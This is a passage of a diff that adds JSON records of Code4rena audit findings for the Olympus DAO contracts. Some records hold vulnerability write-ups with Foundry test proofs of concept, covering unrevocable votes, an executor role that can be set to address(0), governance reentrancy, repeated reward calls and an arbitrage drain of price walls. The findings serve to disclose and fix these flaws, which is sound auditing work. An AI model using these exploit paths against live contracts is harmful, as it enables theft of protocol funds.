https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/VoterRegistration.sol#L53-L56 ```solidity function revokeVotesFrom(address wallet_, uint256 amount_) external onlyRole(\"voter_admin\") { // Revoke the votes in the VOTES module VOTES.burnFrom(wallet_, amount_); } ``` ## Proof of Concept Please add the following code in `src\\test\\policies\\Governance.t.sol`. First, please add the following code for `stdError`. ```solidity import {Test, stdError} from \"forge-std/Test.sol\"; // @audit import stdError for testing purpose ``` Then, please append the following tests. These tests will pass to demonstrate the described scenarios. ```solidity function testScenario_UserCannotVoteAgainWithNewlyMintedVotes() public { _createActiveProposal(); // voter3 votes for the proposal vm.prank(voter3); governance.vote(true); assertEq(governance.yesVotesForProposal(1), 300); assertEq(governance.noVotesForProposal(1), 0); assertEq(governance.userVotesForProposal(1, voter3), 300); assertEq(VOTES.balanceOf(voter3), 0); assertEq(VOTES.balanceOf(address(governance)), 300); // to simulate calling VoterRegistration.issueVotesTo that mints votes to voter3, VOTES.mintTo is called by godmode here vm.prank(godmode); VOTES.mintTo(voter3, 500); assertEq(VOTES.balanceOf(voter3), 500); // calling vote function again by voter3 reverts, which means that voter3 cannot additionally vote with the 500 newly minted votes vm.expectRevert(UserAlreadyVoted.selector); vm.prank(voter3); governance.vote(true); } ``` ```solidity function testScenario_RevokeVotesAfterUserFinishsOwnVoting() public { _createActiveProposal(); // voter3 votes for the proposal vm.prank(voter3); governance.vote(true); assertEq(governance.yesVotesForProposal(1), 300); assertEq(governance.noVotesForProposal(1), 0); assertEq(governance.userVotesForProposal(1, voter3), 300); assertEq(VOTES.balanceOf(voter3), 0); assertEq(VOTES.balanceOf(address(governance)), 300); // To simulate calling VoterRegistration.revokeVotesFrom that burns voter3's votes, VOTES.burnFrom is called by godmode here. // However, calling VOTES.burnFrom will revert due to arithmetic underflow. vm.prank(godmode); vm.expectRevert(stdError.arithmeticError); VOTES.burnFrom(voter3, 300); // the proposal is still voted with voter3's previous votes afterwards assertEq(governance.userVotesForProposal(1, voter3), 300); assertEq(VOTES.balanceOf(voter3), 0); assertEq(VOTES.balanceOf(address(governance)), 300); } ``` ## Tools Used VSCode ## Recommended Mitigation Steps When `issueVotesTo` and `revokeVotesFrom` are called during voting, the corresponding votes need to be added to or removed from the proposal's voted votes for the user. Alternatively, `issueVotesTo` and `revokeVotesFrom` can be disabled when an active proposal exists."}, {"title": "`activateProposal()` need time delay", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/273", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-08-olympus-findings", "body": "`activateProposal()` need time delay"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/269", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/268", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "\"TWAP\" used is an observation-weighted-average-price, not a time-weighted one", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/267", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "\"TWAP\" used is an observation-weighted-average-price, not a time-weighted one"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/263", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/261", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/260", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Endorsed votes by a user do not decrease after the user's votes are revoked", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/257", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor acknowledged", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "Endorsed votes by a user do not decrease after the user's votes are revoked"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/252", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/251", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/250", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/249", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/242", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/241", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "After endorsing a proposal, user can transfer votes to another user for endorsing the same proposal again", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/239", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-08-olympus-findings", "body": "After endorsing a proposal, user can transfer votes to another user for endorsing the same proposal again"}, {"title": "setDebt function of TRSRY.sol has no comparison of financial values and sets/erase debts for arbitrary addresses for arbitrary amounts", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/238", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-08-olympus-findings", "body": "setDebt function of TRSRY.sol has no comparison of financial values and sets/erase debts for arbitrary addresses for arbitrary amounts"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/237", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/233", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "QA Report"}] \ No newline at end of file diff --git a/results/codearena_findings_26.json b/results/codearena_findings_26.json new file mode 100644 index 0000000..7cf9cc6 --- /dev/null +++ b/results/codearena_findings_26.json @@ -0,0 +1 @@ +[{"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/232", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/230", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/229", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/228", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/218", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/217", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/216", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/204", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Proposals overwrite", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/201", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-08-olympus-findings", "body": "Proposals overwrite"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/199", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/198", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/197", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/196", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/195", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/191", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/190", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/183", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/182", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/181", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/174", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/169", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/168", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/167", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/166", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/165", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/164", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/162", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/161", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/160", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/158", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/156", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/155", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/154", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Single step ownership model for critical roles", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/fullyallocated/Default/blob/master/src/Kernel.sol#L192 # Vulnerability details ### Impact The `executor` and `admin` roles are important administrative roles that can be set to any arbitrary address that the organisation does not control e.g. `address(0).` This impact is that the system can no longer be administered as the `executor` role is the key administrator role for adding, upgrading and removing Kernels, Modules, Policies, Executors and Admins. Both the `admin` and `executor` roles can be set to an arbitrary address in a single step however it is worse if the `executor` is changed to something like `address(0)` as no other role can change it back. The `executor` can change the `admin` role but the `admin` cannot change the executor. Due to the impact I believe this to be of Medium to High severity. ### Proof of Concept Below is a test demonstrating that the `executor` role can be set to `address(0)` by the current `executor`; ```solidity function testCorrectness_ChangeExecutorToAddressZero() public { // Demonstrate how the executor role can be changed by setting // it to the multisig address. vm.startPrank(deployer); kernel.executeAction(Actions.ChangeExecutor, address(multisig)); vm.stopPrank(); assertEq(kernel.executor(), address(multisig)); // As the current executor set the new executor to be address(0). vm.prank(multisig); kernel.executeAction(Actions.ChangeExecutor, address(0)); vm.stopPrank(); assertEq(kernel.executor(), address(0)); } ``` The `admin` role cannot modify the `executor` so if it is set to a arbitrary address that Olympus does not control it cannot be reset; ```solidity function testCorrectness_AdminCannotChangeExecutor() public { // Demonstrate how the admin role can be changed by setting // it to the multisig address. vm.startPrank(deployer); kernel.executeAction(Actions.ChangeAdmin, address(multisig)); vm.stopPrank(); assertEq(kernel.admin(), address(multisig)); // As the current admin try and change the executor. vm.prank(multisig); err = abi.encodeWithSignature(\"Kernel_OnlyExecutor(address)\", multisig); vm.expectRevert(err); kernel.executeAction(Actions.ChangeExecutor, address(0)); vm.stopPrank(); } ``` ### Tools Used Vim ### Recommended Remediation Steps The Kernel should implement a two step ownership change for crucial roles such as the `executor` and `admin`. In the first step the ownership change is \u2018proposed\u2019 and the address of the new owner (for `executor` or `admin`) is stored in a state variable. As part of the proposal `address(0)` can be checked and a revert take place. In the second step the new owner would then need to \u2018accept\u2019 the ownership change by executing a function on the smart contract. Furthermore I feel that the `executor` should not not be able to change the `admin` role via `Actions.ChangeAdmin` on [L212](https://github.com/fullyallocated/Default/blob/master/src/Kernel.sol#L212) and the `admin` should be able to set a new `executor`. This would ensure there is proper separation of duties between the `admin` and the `executor` roles."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/152", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/151", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/148", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/147", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/146", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/145", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/141", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/140", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/139", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/138", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/135", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "OlympusGovernance#executeProposal: reentrancy attack vulnerable function", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/132", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L265 https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L278-L288 # Vulnerability details ## Impact Given that the activeProposal change is done before the for loop, if this function is call through one kernel.executeAction(instruction,target) we can call the same instructions (in the same order) again and again, which may or may not affect funds (depending on the instructions). ## Proof of Concept For instance, if we install a new module, and this module has a vulnerability (even intentional), the next steps can by trigger: 1. Call executeAction 1. This allow us to call kernel.executeAction in the for loop 1. executAction allow us to call **_installModule** 1. **\\_installModule** allow us to call **newModule_.Init** 1. By init we can call now executeProposal again (suppose that the init function interact with a previous vulnerable proxy contract to scam voters to vote in favour of this proposal as if it was a contract which is ok, and before calling executeProposal we change the implementation to allow this attack), ## Tools Used Static Analysis ## Recommended Mitigation Steps Use nonReentrant modifier or move the line ```activeProposal = ActivatedProposal(0, 0);``` before the for loop. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/131", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/129", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/128", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Using a single oracle for price is not recommended", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/121", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-08-olympus-findings", "body": "Using a single oracle for price is not recommended"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/119", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "RBS may redeploy funds automatically if price stays above or below wall for longer than _config.regenWait", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/118", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-08-olympus-findings", "body": "RBS may redeploy funds automatically if price stays above or below wall for longer than _config.regenWait"}, {"title": "Solmate safetransfer and safetransferfrom doesnot check the codesize of the token address, which may lead to fund loss", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/117", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/TRSRY.sol#L110 https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/TRSRY.sol#L99 # Vulnerability details ## Impact In `getloan()` and `replayloan()`, the `safetransfer` and `safetransferfrom` doesn't check the existence of code at the token address. This is a known issue while using solmate's libraries. Hence this may lead to miscalculation of funds and may lead to loss of funds , because if `safetransfer()` and `safetransferfrom()` are called on a token address that doesn't have contract in it, it will always return success, bypassing the return value check. Due to this protocol will think that funds has been transferred and successful , and records will be accordingly calculated, but in reality funds were never transferred. So this will lead to miscalculation and possibly loss of funds ## Proof of Concept https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/TRSRY.sol#L110 https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/TRSRY.sol#L99 ## Tools Used Manual code review ## Recommended Mitigation Steps Use openzeppelin's safeERC20 or implement a code existence check "}, {"title": "RBS increases systematic risk when implemented with volatile assets and during black swan events", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/116", "labels": ["bug", "disagree with severity", "out of scope", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "RBS increases systematic risk when implemented with volatile assets and during black swan events"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/115", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/108", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "OlympusGovernance - active proposal does not expire", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/100", "labels": ["bug", "2 (Med Risk)"], "target": "2022-08-olympus-findings", "body": "OlympusGovernance - active proposal does not expire"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/96", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "Admin cannot be changed to EOA after deployment", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/94", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/main/src/Kernel.sol#L252-L253 https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/INSTR.sol#L52 # Vulnerability details ## Impact After contracts are deployed and initialized, the admin address in `Kernel` contract can only be set to a contract. Granting and revoking roles will be possible to do only via a contract, which looks like an unintended behavior since these operations cannot be performed via governance (the governance contract is designed to be the only executor). ## Proof of Concept Admin address can be changed to any address (EOA or contract) in the `executeAction` function in `Kernel`: https://github.com/code-423n4/2022-08-olympus/blob/main/src/Kernel.sol#L252-L253 This piece explicitly allows EOA addresses since the other actions in the function (besides `ChangeExecutor`) are checked to have only a contract as the target (see `ensureContract` function calls in the other actions). This, and the fact that roles cannot be managed via governance, leads to the conclusion that an admin is designed to be an EOA. However, in the `store` function in `INSTR`, action target can only be a contract: https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/INSTR.sol#L52 After the contracts are deployed, `INSTR` will be the only contract that's allowed to call `Kernel.executeAction`: https://github.com/code-423n4/2022-08-olympus/blob/main/src/scripts/Deploy.sol#L220 Thus, there will be no way to change admin to an EOA. If admin needs to be an EOA, the `INSTR` contract needs to be patched and re-deployed to allow non-contract targets. ## Tools Used ## Recommended Mitigation Steps Allow EOA addresses as instruction targets or disallow non-contract admin addresses."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/93", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "QA Report"}, {"title": "Protocol's Walls / cushion bonds remain active even if heart is not beating", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/89", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L188-L191 https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/Operator.sol#L272 https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L346 # Vulnerability details ## Description The Walls of the RBS mechanism offer zero slippage swaps at the high and low of the moving average spread. The capacity to be swapped at these prices is usually very large, so it must make sure to only be enabled when the prices are guaranteed to be synced. However, there is no such check. If beat() is not called for some time, meaning we cannot determine if the current spread is legit, swap() still operates as usual. ## Impact The worst case scenario is that the wall is swapping at a losing price, meaning they can be immediately drained via arbitrage bot. ## Proof of concept 1. Price is X at the start 2. Oracle stops updating for some reason / no one calls beat() 3. Price drops to Y , where Y < low wall centered around X 4. Attacker can perform arbitrage by buying Ohm at external markets at Y and selling Ohm at low wall price, netting the difference. ## Recommended mitigation steps: Change modifier onlyWhileActive to add a check for beat out of sync: ``` if (block.timestamp > lastBeat + SYNC_THRESHOLD * frequency()) ``` "}, {"title": "Operator::setReserveFactor doesn't check if bond market should be changed", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/83", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-08-olympus-findings", "body": "Operator::setReserveFactor doesn't check if bond market should be changed"}, {"title": "Heart::beat() could be called several times in one block if no one called it for a some time", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/79", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/Heart.sol#L92 https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/Heart.sol#L103 # Vulnerability details ## Impact `beat()` function is allowed to be called by anyone once in `frequency()` period. The purpose of it is to update the prices and do another operations related to bond market. User who ran it are rewarded. There is no need to run this function more then 1 time in `frequency()` period. However if `beat()` was last time called more then `frequency()` time ago then user can execute `beat()` function `(block.timestamp - lastBeat)/frequency()` times in a row in same block and get rewards. ## Proof of Concept https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/Heart.sol#L92 https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/Heart.sol#L103 ## Recommended Mitigation Steps https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/Heart.sol#L103 Change this line to `lastBeat = block.timestamp - (block.timestamp - lastBeat) % frequency();` So no matter how much time the `beat()` was no called, it is possible to call it only once per `frequency()`. "}, {"title": "TRSRY susceptible to loan / withdraw confusion", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/75", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed", "old-submission-method"], "target": "2022-08-olympus-findings", "body": "# Lines of code https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/TRSRY.sol#L64-L102 # Vulnerability details ## Impact Treasury allocates approvals in the withdrawApproval mapping which is set via setApprovalFor(). In both withdrawReserves() and in getLoan(), _checkApproval() is used to verify user has enough approval and subtracts the withdraw / loan amount. Therefore, there is no differentiation in validation between loan approval and withdraw approval. Policies which will use getLoan() (currently none) can simply withdraw the tokens without bookkeeping it as a loan. ## Proof of Concept 1. Policy P has getLoan permission 2. setApprovalFor(policy, token, amount) was called to grant P permission to loan amount 3. P calls withdrawReserves(address, token, amount) and directly withdraws the funds without registering as loan ## Recommended Mitigation Steps A separate mapping called loanApproval should be implemented, and setLoanApprovalFor() will set it, getLoan() will reduce loanApproval balance. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-08-olympus-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-08-olympus-findings/issues/72", "labels": 